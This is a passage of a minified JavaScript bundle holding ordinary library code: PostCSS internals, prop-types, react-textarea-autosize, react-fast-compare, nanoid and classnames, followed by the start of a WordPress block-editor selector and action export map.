o(this.text)),this.consumerCache}withContent(){return!!(this.consumer().sourcesContent&&this.consumer().sourcesContent.length>0)}startWith(e,t){return!!e&&e.substr(0,t.length)===t}getAnnotationURL(e){return e.replace(/^\/\*\s*# sourceMappingURL=/,"").trim()}loadAnnotation(e){let t=e.match(/\/\*\s*# sourceMappingURL=/gm);if(!t)return;let n=e.lastIndexOf(t.pop()),o=e.indexOf("*/",n);n>-1&&o>-1&&(this.annotation=this.getAnnotationURL(e.substring(n,o)))}decodeInline(e){if(/^data:application\/json;charset=utf-?8,/.test(e)||/^data:application\/json,/.test(e))return decodeURIComponent(e.substr(RegExp.lastMatch.length));if(/^data:application\/json;charset=utf-?8;base64,/.test(e)||/^data:application\/json;base64,/.test(e))return t=e.substr(RegExp.lastMatch.length),Buffer?Buffer.from(t,"base64").toString():window.atob(t);var t;let n=e.match(/data:application\/json;([^,]+),/)[1];throw new Error("Unsupported source map encoding "+n)}loadFile(e){if(this.root=s(e),r(e))return this.mapFile=e,l(e,"utf-8").toString().trim()}loadMap(e,t){if(!1===t)return!1;if(t){if("string"==typeof t)return t;if("function"!=typeof t){if(t instanceof o)return i.fromSourceMap(t).toString();if(t instanceof i)return t.toString();if(this.isMap(t))return JSON.stringify(t);throw new Error("Unsupported previous source map format: "+t.toString())}{let n=t(e);if(n){let e=this.loadFile(n);if(!e)throw new Error("Unable to load previous source map: "+n.toString());return e}}}else{if(this.inline)return this.decodeInline(this.annotation);if(this.annotation){let t=this.annotation;return e&&(t=a(s(e),t)),this.loadFile(t)}}}isMap(e){return"object"==typeof e&&("string"==typeof e.mappings||"string"==typeof e._mappings||Array.isArray(e.sections))}}e.exports=c,c.default=c},1723:(e,t,n)=>{"use strict";let o=n(7647),i=n(1939),r=n(6461),l=n(1025);class s{constructor(e=[]){this.version="8.4.13",this.plugins=this.normalize(e)}use(e){return this.plugins=this.plugins.concat(this.normalize([e])),this}process(e,t={}){return 0===this.plugins.length&&void 0===t.parser&&void 0===t.stringifier&&void 0===t.syntax?new o(this,e,t):new i(this,e,t)}normalize(e){let t=[];for(let n of e)if(!0===n.postcss?n=n():n.postcss&&(n=n.postcss),"object"==typeof n&&Array.isArray(n.plugins))t=t.concat(n.plugins);else if("object"==typeof n&&n.postcssPlugin)t.push(n);else if("function"==typeof n)t.push(n);else if("object"!=typeof n||!n.parse&&!n.stringify)throw new Error(n+" is not a PostCSS plugin");return t}}e.exports=s,s.default=s,l.registerProcessor(s),r.registerProcessor(s)},3632:(e,t,n)=>{"use strict";let o=n(1728);class i{constructor(e,t,n){this.processor=e,this.messages=[],this.root=t,this.opts=n,this.css=void 0,this.map=void 0}toString(){return this.css}warn(e,t={}){t.plugin||this.lastPlugin&&this.lastPlugin.postcssPlugin&&(t.plugin=this.lastPlugin.postcssPlugin);let n=new o(e,t);return this.messages.push(n),n}warnings(){return this.messages.filter((e=>"warning"===e.type))}get content(){return this.css}}e.exports=i,i.default=i},1025:(e,t,n)=>{"use strict";let o,i,r=n(1019);class l extends r{constructor(e){super(e),this.type="root",this.nodes||(this.nodes=[])}removeChild(e,t){let n=this.index(e);return!t&&0===n&&this.nodes.length>1&&(this.nodes[1].raws.before=this.nodes[n].raws.before),super.removeChild(e)}normalize(e,t,n){let o=super.normalize(e);if(t)if("prepend"===n)this.nodes.length>1?t.raws.before=this.nodes[1].raws.before:delete t.raws.before;else if(this.first!==t)for(let e of o)e.raws.before=t.raws.before;return o}toResult(e={}){return new o(new i,this,e).stringify()}}l.registerLazyResult=e=>{o=e},l.registerProcessor=e=>{i=e},e.exports=l,l.default=l},1675:(e,t,n)=>{"use strict";let o=n(1019),i=n(4715);class r extends o{constructor(e){super(e),this.type="rule",this.nodes||(this.nodes=[])}get selectors(){return i.comma(this.selector)}set selectors(e){let t=this.selector?this.selector.match(/,\s*/):null,n=t?t[0]:","+this.raw("between","beforeOpen");this.selector=e.join(n)}}e.exports=r,r.default=r,o.registerRule(r)},1062:e=>{"use strict";const t={colon:": ",indent:" ",beforeDecl:"\n",beforeRule:"\n",beforeOpen:" ",beforeClose:"\n",beforeComment:"\n",after:"\n",emptyBody:"",commentLeft:" ",commentRight:" ",semicolon:!1};class n{constructor(e){this.builder=e}stringify(e,t){if(!this[e.type])throw new Error("Unknown AST node type "+e.type+". Maybe you need to change PostCSS stringifier.");this[e.type](e,t)}document(e){this.body(e)}root(e){this.body(e),e.raws.after&&this.builder(e.raws.after)}comment(e){let t=this.raw(e,"left","commentLeft"),n=this.raw(e,"right","commentRight");this.builder("/*"+t+e.text+n+"*/",e)}decl(e,t){let n=this.raw(e,"between","colon"),o=e.prop+n+this.rawValue(e,"value");e.important&&(o+=e.raws.important||" !important"),t&&(o+=";"),this.builder(o,e)}rule(e){this.block(e,this.rawValue(e,"selector")),e.raws.ownSemicolon&&this.builder(e.raws.ownSemicolon,e,"end")}atrule(e,t){let n="@"+e.name,o=e.params?this.rawValue(e,"params"):"";if(void 0!==e.raws.afterName?n+=e.raws.afterName:o&&(n+=" "),e.nodes)this.block(e,n+o);else{let i=(e.raws.between||"")+(t?";":"");this.builder(n+o+i,e)}}body(e){let t=e.nodes.length-1;for(;t>0&&"comment"===e.nodes[t].type;)t-=1;let n=this.raw(e,"semicolon");for(let o=0;o<e.nodes.length;o++){let i=e.nodes[o],r=this.raw(i,"before");r&&this.builder(r),this.stringify(i,t!==o||n)}}block(e,t){let n,o=this.raw(e,"between","beforeOpen");this.builder(t+o+"{",e,"start"),e.nodes&&e.nodes.length?(this.body(e),n=this.raw(e,"after")):n=this.raw(e,"after","emptyBody"),n&&this.builder(n),this.builder("}",e,"end")}raw(e,n,o){let i;if(o||(o=n),n&&(i=e.raws[n],void 0!==i))return i;let r=e.parent;if("before"===o){if(!r||"root"===r.type&&r.first===e)return"";if(r&&"document"===r.type)return""}if(!r)return t[o];let l=e.root();if(l.rawCache||(l.rawCache={}),void 0!==l.rawCache[o])return l.rawCache[o];if("before"===o||"after"===o)return this.beforeAfter(e,o);{let t="raw"+((s=o)[0].toUpperCase()+s.slice(1));this[t]?i=this[t](l,e):l.walk((e=>{if(i=e.raws[n],void 0!==i)return!1}))}var s;return void 0===i&&(i=t[o]),l.rawCache[o]=i,i}rawSemicolon(e){let t;return e.walk((e=>{if(e.nodes&&e.nodes.length&&"decl"===e.last.type&&(t=e.raws.semicolon,void 0!==t))return!1})),t}rawEmptyBody(e){let t;return e.walk((e=>{if(e.nodes&&0===e.nodes.length&&(t=e.raws.after,void 0!==t))return!1})),t}rawIndent(e){if(e.raws.indent)return e.raws.indent;let t;return e.walk((n=>{let o=n.parent;if(o&&o!==e&&o.parent&&o.parent===e&&void 0!==n.raws.before){let e=n.raws.before.split("\n");return t=e[e.length-1],t=t.replace(/\S/g,""),!1}})),t}rawBeforeComment(e,t){let n;return e.walkComments((e=>{if(void 0!==e.raws.before)return n=e.raws.before,n.includes("\n")&&(n=n.replace(/[^\n]+$/,"")),!1})),void 0===n?n=this.raw(t,null,"beforeDecl"):n&&(n=n.replace(/\S/g,"")),n}rawBeforeDecl(e,t){let n;return e.walkDecls((e=>{if(void 0!==e.raws.before)return n=e.raws.before,n.includes("\n")&&(n=n.replace(/[^\n]+$/,"")),!1})),void 0===n?n=this.raw(t,null,"beforeRule"):n&&(n=n.replace(/\S/g,"")),n}rawBeforeRule(e){let t;return e.walk((n=>{if(n.nodes&&(n.parent!==e||e.first!==n)&&void 0!==n.raws.before)return t=n.raws.before,t.includes("\n")&&(t=t.replace(/[^\n]+$/,"")),!1})),t&&(t=t.replace(/\S/g,"")),t}rawBeforeClose(e){let t;return e.walk((e=>{if(e.nodes&&e.nodes.length>0&&void 0!==e.raws.after)return t=e.raws.after,t.includes("\n")&&(t=t.replace(/[^\n]+$/,"")),!1})),t&&(t=t.replace(/\S/g,"")),t}rawBeforeOpen(e){let t;return e.walk((e=>{if("decl"!==e.type&&(t=e.raws.between,void 0!==t))return!1})),t}rawColon(e){let t;return e.walkDecls((e=>{if(void 0!==e.raws.between)return t=e.raws.between.replace(/[^\s:]/g,""),!1})),t}beforeAfter(e,t){let n;n="decl"===e.type?this.raw(e,null,"beforeDecl"):"comment"===e.type?this.raw(e,null,"beforeComment"):"before"===t?this.raw(e,null,"beforeRule"):this.raw(e,null,"beforeClose");let o=e.parent,i=0;for(;o&&"root"!==o.type;)i+=1,o=o.parent;if(n.includes("\n")){let t=this.raw(e,null,"indent");if(t.length)for(let e=0;e<i;e++)n+=t}return n}rawValue(e,t){let n=e[t],o=e.raws[t];return o&&o.value===n?o.raw:n}}e.exports=n,n.default=n},7088:(e,t,n)=>{"use strict";let o=n(1062);function i(e,t){new o(t).stringify(e)}e.exports=i,i.default=i},5513:e=>{"use strict";e.exports.isClean=Symbol("isClean"),e.exports.my=Symbol("my")},3852:e=>{"use strict";const t="'".charCodeAt(0),n='"'.charCodeAt(0),o="\\".charCodeAt(0),i="/".charCodeAt(0),r="\n".charCodeAt(0),l=" ".charCodeAt(0),s="\f".charCodeAt(0),a="\t".charCodeAt(0),c="\r".charCodeAt(0),u="[".charCodeAt(0),d="]".charCodeAt(0),p="(".charCodeAt(0),h=")".charCodeAt(0),g="{".charCodeAt(0),f="}".charCodeAt(0),m=";".charCodeAt(0),v="*".charCodeAt(0),b=":".charCodeAt(0),k="@".charCodeAt(0),_=/[\t\n\f\r "#'()/;[\\\]{}]/g,y=/[\t\n\f\r !"#'():;@[\\\]{}]|\/(?=\*)/g,x=/.[\n"'(/\\]/,S=/[\da-f]/i;e.exports=function(e,w={}){let C,B,I,j,E,T,P,M,R,N,A=e.css.valueOf(),L=w.ignoreErrors,D=A.length,O=0,z=[],F=[];function V(t){throw e.error("Unclosed "+t,O)}return{back:function(e){F.push(e)},nextToken:function(e){if(F.length)return F.pop();if(O>=D)return;let w=!!e&&e.ignoreUnclosed;switch(C=A.charCodeAt(O),C){case r:case l:case a:case c:case s:B=O;do{B+=1,C=A.charCodeAt(B)}while(C===l||C===r||C===a||C===c||C===s);N=["space",A.slice(O,B)],O=B-1;break;case u:case d:case g:case f:case b:case m:case h:{let e=String.fromCharCode(C);N=[e,e,O];break}case p:if(M=z.length?z.pop()[1]:"",R=A.charCodeAt(O+1),"url"===M&&R!==t&&R!==n&&R!==l&&R!==r&&R!==a&&R!==s&&R!==c){B=O;do{if(T=!1,B=A.indexOf(")",B+1),-1===B){if(L||w){B=O;break}V("bracket")}for(P=B;A.charCodeAt(P-1)===o;)P-=1,T=!T}while(T);N=["brackets",A.slice(O,B+1),O,B],O=B}else B=A.indexOf(")",O+1),j=A.slice(O,B+1),-1===B||x.test(j)?N=["(","(",O]:(N=["brackets",j,O,B],O=B);break;case t:case n:I=C===t?"'":'"',B=O;do{if(T=!1,B=A.indexOf(I,B+1),-1===B){if(L||w){B=O+1;break}V("string")}for(P=B;A.charCodeAt(P-1)===o;)P-=1,T=!T}while(T);N=["string",A.slice(O,B+1),O,B],O=B;break;case k:_.lastIndex=O+1,_.test(A),B=0===_.lastIndex?A.length-1:_.lastIndex-2,N=["at-word",A.slice(O,B+1),O,B],O=B;break;case o:for(B=O,E=!0;A.charCodeAt(B+1)===o;)B+=1,E=!E;if(C=A.charCodeAt(B+1),E&&C!==i&&C!==l&&C!==r&&C!==a&&C!==c&&C!==s&&(B+=1,S.test(A.charAt(B)))){for(;S.test(A.charAt(B+1));)B+=1;A.charCodeAt(B+1)===l&&(B+=1)}N=["word",A.slice(O,B+1),O,B],O=B;break;default:C===i&&A.charCodeAt(O+1)===v?(B=A.indexOf("*/",O+2)+1,0===B&&(L||w?B=A.length:V("comment")),N=["comment",A.slice(O,B+1),O,B],O=B):(y.lastIndex=O+1,y.test(A),B=0===y.lastIndex?A.length-1:y.lastIndex-2,N=["word",A.slice(O,B+1),O,B],z.push(N),O=B)}return O++,N},endOfFile:function(){return 0===F.length&&O>=D},position:function(){return O}}}},2448:e=>{"use strict";let t={};e.exports=function(e){t[e]||(t[e]=!0,"undefined"!=typeof console&&console.warn&&console.warn(e))}},1728:e=>{"use strict";class t{constructor(e,t={}){if(this.type="warning",this.text=e,t.node&&t.node.source){let e=t.node.rangeBy(t);this.line=e.start.line,this.column=e.start.column,this.endLine=e.end.line,this.endColumn=e.end.column}for(let e in t)this[e]=t[e]}toString(){return this.node?this.node.error(this.text,{plugin:this.plugin,index:this.index,word:this.word}).message:this.plugin?this.plugin+": "+this.text:this.text}}e.exports=t,t.default=t},2703:(e,t,n)=>{"use strict";var o=n(414);function i(){}function r(){}r.resetWarningCache=i,e.exports=function(){function e(e,t,n,i,r,l){if(l!==o){var s=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw s.name="Invariant Violation",s}}function t(){return e}e.isRequired=e;var n={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:r,resetWarningCache:i};return n.PropTypes=n,n}},5697:(e,t,n)=>{e.exports=n(2703)()},414:e=>{"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},4857:function(e,t,n){"use strict";var o,i=this&&this.__extends||(o=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function __(){this.constructor=e}o(e,t),e.prototype=null===t?Object.create(t):(__.prototype=t.prototype,new __)}),r=this&&this.__assign||Object.assign||function(e){for(var t,n=1,o=arguments.length;n<o;n++)for(var i in t=arguments[n])Object.prototype.hasOwnProperty.call(t,i)&&(e[i]=t[i]);return e},l=this&&this.__rest||function(e,t){var n={};for(var o in e)Object.prototype.hasOwnProperty.call(e,o)&&t.indexOf(o)<0&&(n[o]=e[o]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var i=0;for(o=Object.getOwnPropertySymbols(e);i<o.length;i++)t.indexOf(o[i])<0&&(n[o[i]]=e[o[i]])}return n};t.__esModule=!0;var s=n(9196),a=n(5697),c=n(9367),u=n(8303),d="autosize:resized",p=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.state={lineHeight:null},t.textarea=null,t.onResize=function(e){t.props.onResize&&t.props.onResize(e)},t.updateLineHeight=function(){t.textarea&&t.setState({lineHeight:u(t.textarea)})},t.onChange=function(e){var n=t.props.onChange;t.currentValue=e.currentTarget.value,n&&n(e)},t}return i(t,e),t.prototype.componentDidMount=function(){var e=this,t=this.props,n=t.maxRows,o=t.async;"number"==typeof n&&this.updateLineHeight(),"number"==typeof n||o?setTimeout((function(){return e.textarea&&c(e.textarea)})):this.textarea&&c(this.textarea),this.textarea&&this.textarea.addEventListener(d,this.onResize)},t.prototype.componentWillUnmount=function(){this.textarea&&(this.textarea.removeEventListener(d,this.onResize),c.destroy(this.textarea))},t.prototype.render=function(){var e=this,t=this.props,n=(t.onResize,t.maxRows),o=(t.onChange,t.style),i=(t.innerRef,t.children),a=l(t,["onResize","maxRows","onChange","style","innerRef","children"]),c=this.state.lineHeight,u=n&&c?c*n:null;return s.createElement("textarea",r({},a,{onChange:this.onChange,style:u?r({},o,{maxHeight:u}):o,ref:function(t){e.textarea=t,"function"==typeof e.props.innerRef?e.props.innerRef(t):e.props.innerRef&&(e.props.innerRef.current=t)}}),i)},t.prototype.componentDidUpdate=function(){this.textarea&&c.update(this.textarea)},t.defaultProps={rows:1,async:!1},t.propTypes={rows:a.number,maxRows:a.number,onResize:a.func,innerRef:a.any,async:a.bool},t}(s.Component);t.TextareaAutosize=s.forwardRef((function(e,t){return s.createElement(p,r({},e,{innerRef:t}))}))},4042:(e,t,n)=>{"use strict";var o=n(4857);t.Z=o.TextareaAutosize},9590:e=>{var t="undefined"!=typeof Element,n="function"==typeof Map,o="function"==typeof Set,i="function"==typeof ArrayBuffer&&!!ArrayBuffer.isView;function r(e,l){if(e===l)return!0;if(e&&l&&"object"==typeof e&&"object"==typeof l){if(e.constructor!==l.constructor)return!1;var s,a,c,u;if(Array.isArray(e)){if((s=e.length)!=l.length)return!1;for(a=s;0!=a--;)if(!r(e[a],l[a]))return!1;return!0}if(n&&e instanceof Map&&l instanceof Map){if(e.size!==l.size)return!1;for(u=e.entries();!(a=u.next()).done;)if(!l.has(a.value[0]))return!1;for(u=e.entries();!(a=u.next()).done;)if(!r(a.value[1],l.get(a.value[0])))return!1;return!0}if(o&&e instanceof Set&&l instanceof Set){if(e.size!==l.size)return!1;for(u=e.entries();!(a=u.next()).done;)if(!l.has(a.value[0]))return!1;return!0}if(i&&ArrayBuffer.isView(e)&&ArrayBuffer.isView(l)){if((s=e.length)!=l.length)return!1;for(a=s;0!=a--;)if(e[a]!==l[a])return!1;return!0}if(e.constructor===RegExp)return e.source===l.source&&e.flags===l.flags;if(e.valueOf!==Object.prototype.valueOf)return e.valueOf()===l.valueOf();if(e.toString!==Object.prototype.toString)return e.toString()===l.toString();if((s=(c=Object.keys(e)).length)!==Object.keys(l).length)return!1;for(a=s;0!=a--;)if(!Object.prototype.hasOwnProperty.call(l,c[a]))return!1;if(t&&e instanceof Element)return!1;for(a=s;0!=a--;)if(("_owner"!==c[a]&&"__v"!==c[a]&&"__o"!==c[a]||!e.$$typeof)&&!r(e[c[a]],l[c[a]]))return!1;return!0}return e!=e&&l!=l}e.exports=function(e,t){try{return r(e,t)}catch(e){if((e.message||"").match(/stack|recursion/i))return console.warn("react-fast-compare cannot handle circular refs"),!1;throw e}}},5251:(e,t,n)=>{"use strict";var o=n(9196),i=Symbol.for("react.element"),r=Symbol.for("react.fragment"),l=Object.prototype.hasOwnProperty,s=o.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,a={key:!0,ref:!0,__self:!0,__source:!0};function c(e,t,n){var o,r={},c=null,u=null;for(o in void 0!==n&&(c=""+n),void 0!==t.key&&(c=""+t.key),void 0!==t.ref&&(u=t.ref),t)l.call(t,o)&&!a.hasOwnProperty(o)&&(r[o]=t[o]);if(e&&e.defaultProps)for(o in t=e.defaultProps)void 0===r[o]&&(r[o]=t[o]);return{$$typeof:i,type:e,key:c,ref:u,props:r,_owner:s.current}}t.Fragment=r,t.jsx=c,t.jsxs=c},5893:(e,t,n)=>{"use strict";e.exports=n(5251)},9196:e=>{"use strict";e.exports=window.React},2868:()=>{},4777:()=>{},9830:()=>{},209:()=>{},7414:()=>{},3967:(e,t)=>{var n;!function(){"use strict";var o={}.hasOwnProperty;function i(){for(var e="",t=0;t<arguments.length;t++){var n=arguments[t];n&&(e=l(e,r(n)))}return e}function r(e){if("string"==typeof e||"number"==typeof e)return e;if("object"!=typeof e)return"";if(Array.isArray(e))return i.apply(null,e);if(e.toString!==Object.prototype.toString&&!e.toString.toString().includes("[native code]"))return e.toString();var t="";for(var n in e)o.call(e,n)&&e[n]&&(t=l(t,n));return t}function l(e,t){return t?e?e+" "+t:e+t:e}e.exports?(i.default=i,e.exports=i):void 0===(n=function(){return i}.apply(t,[]))||(e.exports=n)}()},2961:e=>{e.exports={nanoid:(e=21)=>{let t="",n=0|e;for(;n--;)t+="useandom-26T198340PX75pxJACKVERYMINDBUSHWOLF_GQZbfghjklqvwyzrict"[64*Math.random()|0];return t},customAlphabet:(e,t=21)=>(n=t)=>{let o="",i=0|n;for(;i--;)o+=e[Math.random()*e.length|0];return o}}}},t={};function n(o){var i=t[o];if(void 0!==i)return i.exports;var r=t[o]={exports:{}};return e[o].call(r.exports,r,r.exports,n),r.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var o in t)n.o(t,o)&&!n.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var o={};(()=>{"use strict";n.r(o),n.d(o,{default:()=>oD});var e={};n.r(e),n.d(e,{getAllBlockBindingsSources:()=>bn,getAllPatterns:()=>hn,getBlockBindingsSource:()=>kn,getBlockRemovalRules:()=>rn,getBlockSettings:()=>Zt,getBlockStyles:()=>jn,getBlockWithoutAttributes:()=>Qt,getClosestAllowedInsertionPoint:()=>Mn,getClosestAllowedInsertionPointForPattern:()=>Rn,getContentLockingParent:()=>Sn,getEnabledBlockParents:()=>nn,getEnabledClientIdsTree:()=>tn,getExpandedBlock:()=>xn,getInserterMediaCategories:()=>cn,getInsertionPoint:()=>Nn,getLastFocus:()=>vn,getLastInsertedBlocksClientIds:()=>Xt,getOpenedBlockSettingsMenu:()=>ln,getParentSectionBlock:()=>wn,getPatternBySlug:()=>pn,getRegisteredInserterMediaCategories:()=>an,getRemovalPromptData:()=>on,getReusableBlocks:()=>mn,getSectionRootClientId:()=>En,getStyleOverrides:()=>sn,getTemporarilyEditingAsBlocks:()=>Bn,getTemporarilyEditingFocusModeToRevert:()=>In,getZoomLevel:()=>Pn,hasAllowedPatterns:()=>un,isBlockInterfaceHidden:()=>Yt,isBlockSubtreeDisabled:()=>Jt,isDragging:()=>yn,isResolvingPatterns:()=>gn,isSectionBlock:()=>Cn,isZoomOut:()=>Tn});var t={};n.r(t),n.d(t,{__experimentalGetActiveBlockIdByBlockNames:()=>ir,__experimentalGetAllowedBlocks:()=>Ti,__experimentalGetAllowedPatterns:()=>Ai,__experimentalGetAllowedPatterns65:()=>Oi,__experimentalGetBlockListSettingsForBlocks:()=>Zi,__experimentalGetDirectInsertBlock:()=>Mi,__experimentalGetGlobalBlocksByName:()=>ao,__experimentalGetLastBlockAttributeChanges:()=>Xi,__experimentalGetParsedPattern:()=>Ri,__experimentalGetPatternTransformItems:()=>Gi,__experimentalGetPatternsByBlockTypes:()=>Hi,__experimentalGetReusableBlockTitle:()=>qi,__experimentalUserPatternCategories:()=>Li,__unstableGetBlockWithoutInnerBlocks:()=>eo,__unstableGetClientIdWithClientIdsTree:()=>no,__unstableGetClientIdsTree:()=>oo,__unstableGetContentLockingParent:()=>cr,__unstableGetEditorMode:()=>Ji,__unstableGetSelectedBlocksWithPartialSelection:()=>$o,__unstableGetTemporarilyEditingAsBlocks:()=>ur,__unstableGetTemporarilyEditingFocusModeToRevert:()=>dr,__unstableGetVisibleBlocks:()=>ar,__unstableHasActiveBlockOverlayActive:()=>pr,__unstableIsFullySelected:()=>Fo,__unstableIsLastBlockChangeIgnored:()=>Yi,__unstableIsSelectionCollapsed:()=>Vo,__unstableIsSelectionMergeable:()=>Go,__unstableIsWithinBlockOverlay:()=>hr,__unstableSelectionHasUnmergeableBlock:()=>Ho,areInnerBlocksControlled:()=>or,canEditBlock:()=>_i,canInsertBlockType:()=>gi,canInsertBlocks:()=>fi,canLockBlockType:()=>yi,canMoveBlock:()=>bi,canMoveBlocks:()=>ki,canRemoveBlock:()=>mi,canRemoveBlocks:()=>vi,didAutomaticChange:()=>tr,getAdjacentBlockClientId:()=>Bo,getAllBlockBindingsSources:()=>bn,getAllPatterns:()=>hn,getAllowedBlocks:()=>Ei,getBehaviors:()=>Wi,getBlock:()=>Jn,getBlockAttributes:()=>Qn,getBlockBindingsSource:()=>kn,getBlockCount:()=>po,getBlockEditingMode:()=>gr,getBlockHierarchyRootClientId:()=>wo,getBlockIndex:()=>Wo,getBlockInsertionPoint:()=>si,getBlockListSettings:()=>$i,getBlockMode:()=>ei,getBlockName:()=>Yn,getBlockNamesByClientId:()=>uo,getBlockOrder:()=>Uo,getBlockParents:()=>xo,getBlockParentsByBlockName:()=>So,getBlockRemovalRules:()=>rn,getBlockRootClientId:()=>yo,getBlockSelectionEnd:()=>mo,getBlockSelectionStart:()=>fo,getBlockSettings:()=>Zt,getBlockStyles:()=>jn,getBlockTransformItems:()=>Ii,getBlockWithoutAttributes:()=>Qt,getBlocks:()=>to,getBlocksByClientId:()=>co,getBlocksByName:()=>so,getClientIdsOfDescendants:()=>io,getClientIdsWithDescendants:()=>ro,getClosestAllowedInsertionPoint:()=>Mn,getClosestAllowedInsertionPointForPattern:()=>Rn,getContentLockingParent:()=>Sn,getDirectInsertBlock:()=>Pi,getDraggedBlockClientIds:()=>oi,getEnabledBlockParents:()=>nn,getEnabledClientIdsTree:()=>tn,getExpandedBlock:()=>xn,getFirstMultiSelectedBlockClientId:()=>Ro,getGlobalBlockCount:()=>lo,getHoveredBlockClientId:()=>sr,getInserterItems:()=>Bi,getInserterMediaCategories:()=>cn,getInsertionPoint:()=>Nn,getLastFocus:()=>vn,getLastInsertedBlocksClientIds:()=>Xt,getLastMultiSelectedBlockClientId:()=>No,getLowestCommonAncestorWithSelectedBlock:()=>Co,getMultiSelectedBlockClientIds:()=>Po,getMultiSelectedBlocks:()=>Mo,getMultiSelectedBlocksEndClientId:()=>zo,getMultiSelectedBlocksStartClientId:()=>Oo,getNextBlockClientId:()=>jo,getOpenedBlockSettingsMenu:()=>ln,getParentSectionBlock:()=>wn,getPatternBySlug:()=>pn,getPatternsByBlockTypes:()=>Vi,getPreviousBlockClientId:()=>Io,getRegisteredInserterMediaCategories:()=>an,getRemovalPromptData:()=>on,getReusableBlocks:()=>mn,getSectionRootClientId:()=>En,getSelectedBlock:()=>_o,getSelectedBlockClientId:()=>ko,getSelectedBlockClientIds:()=>To,getSelectedBlockCount:()=>vo,getSelectedBlocksInitialCaretPosition:()=>Eo,getSelectionEnd:()=>go,getSelectionStart:()=>ho,getSettings:()=>Ui,getStyleOverrides:()=>sn,getTemplate:()=>ui,getTemplateLock:()=>di,getTemporarilyEditingAsBlocks:()=>Bn,getTemporarilyEditingFocusModeToRevert:()=>In,getZoomLevel:()=>Pn,hasAllowedPatterns:()=>un,hasBlockMovingClientId:()=>er,hasDraggedInnerBlock:()=>qo,hasInserterItems:()=>ji,hasMultiSelection:()=>Xo,hasSelectedBlock:()=>bo,hasSelectedInnerBlock:()=>Zo,isAncestorBeingDragged:()=>ri,isAncestorMultiSelected:()=>Do,isBlockBeingDragged:()=>ii,isBlockHighlighted:()=>nr,isBlockInsertionPointVisible:()=>ai,isBlockInterfaceHidden:()=>Yt,isBlockMultiSelected:()=>Lo,isBlockSelected:()=>Ko,isBlockSubtreeDisabled:()=>Jt,isBlockValid:()=>Xn,isBlockVisible:()=>lr,isBlockWithinSelection:()=>Yo,isCaretWithinFormattedText:()=>li,isDragging:()=>yn,isDraggingBlocks:()=>ni,isFirstMultiSelectedBlock:()=>Ao,isGroupable:()=>mr,isLastBlockChangePersistent:()=>Ki,isMultiSelecting:()=>Qo,isNavigationMode:()=>Qi,isResolvingPatterns:()=>gn,isSectionBlock:()=>Cn,isSelectionEnabled:()=>Jo,isTyping:()=>ti,isUngroupable:()=>fr,isValidTemplate:()=>ci,isZoomOut:()=>Tn,wasBlockJustInserted:()=>rr,wasBlockJustRemoved:()=>vr});var i={};n.r(i),n.d(i,{__experimentalUpdateSettings:()=>yr,clearBlockRemovalPrompt:()=>Br,deleteStyleOverride:()=>Tr,ensureDefaultBlock:()=>Cr,expandBlock:()=>Dr,hideBlockInterface:()=>xr,modifyContentLockBlock:()=>zr,privateRemoveBlocks:()=>wr,registerBlockBindingsSource:()=>Nr,resetZoomLevel:()=>Vr,setBlockRemovalRules:()=>Ir,setInsertionPoint:()=>Or,setLastFocus:()=>Mr,setOpenedBlockSettingsMenu:()=>jr,setStyleOverride:()=>Er,setZoomLevel:()=>Fr,showBlockInterface:()=>Sr,startDragging:()=>Ar,stopDragging:()=>Lr,stopEditingAsBlocks:()=>Rr,syncDerivedUpdates:()=>Pr});var r={};n.r(r),n.d(r,{getFetchedPatterns:()=>Hr});var l={};n.r(l),n.d(l,{__unstableDeleteSelection:()=>yl,__unstableExpandSelection:()=>Sl,__unstableMarkAutomaticChange:()=>Hl,__unstableMarkLastChangeAsPersistent:()=>Fl,__unstableMarkNextChangeAsNotPersistent:()=>Vl,__unstableSaveReusableBlock:()=>zl,__unstableSetEditorMode:()=>$l,__unstableSetTemporarilyEditingAsBlocks:()=>Jl,__unstableSplitSelection:()=>xl,clearSelectedBlock:()=>rl,duplicateBlocks:()=>Wl,enterFormattedText:()=>Rl,exitFormattedText:()=>Nl,flashBlock:()=>Yl,hideInsertionPoint:()=>bl,hoverBlock:()=>Jr,insertAfterBlock:()=>Zl,insertBeforeBlock:()=>Kl,insertBlock:()=>fl,insertBlocks:()=>ml,insertDefaultBlock:()=>Ll,mergeBlocks:()=>wl,moveBlockToPosition:()=>gl,moveBlocksDown:()=>dl,moveBlocksToPosition:()=>hl,moveBlocksUp:()=>pl,multiSelect:()=>il,receiveBlocks:()=>qr,registerInserterMediaCategory:()=>es,removeBlock:()=>Bl,removeBlocks:()=>Cl,replaceBlock:()=>cl,replaceBlocks:()=>al,replaceInnerBlocks:()=>Il,resetBlocks:()=>Wr,resetSelection:()=>Zr,selectBlock:()=>Qr,selectNextBlock:()=>tl,selectPreviousBlock:()=>el,selectionChange:()=>Al,setBlockEditingMode:()=>ts,setBlockMovingClientId:()=>Ul,setBlockVisibility:()=>Ql,setHasControlledInnerBlocks:()=>Xl,setNavigationMode:()=>Gl,setTemplateValidity:()=>kl,showInsertionPoint:()=>vl,startDraggingBlocks:()=>Pl,startMultiSelect:()=>nl,startTyping:()=>El,stopDraggingBlocks:()=>Ml,stopMultiSelect:()=>ol,stopTyping:()=>Tl,synchronizeTemplate:()=>_l,toggleBlockHighlight:()=>ql,toggleBlockMode:()=>jl,toggleSelection:()=>ll,unsetBlockEditingMode:()=>ns,updateBlock:()=>Xr,updateBlockAttributes:()=>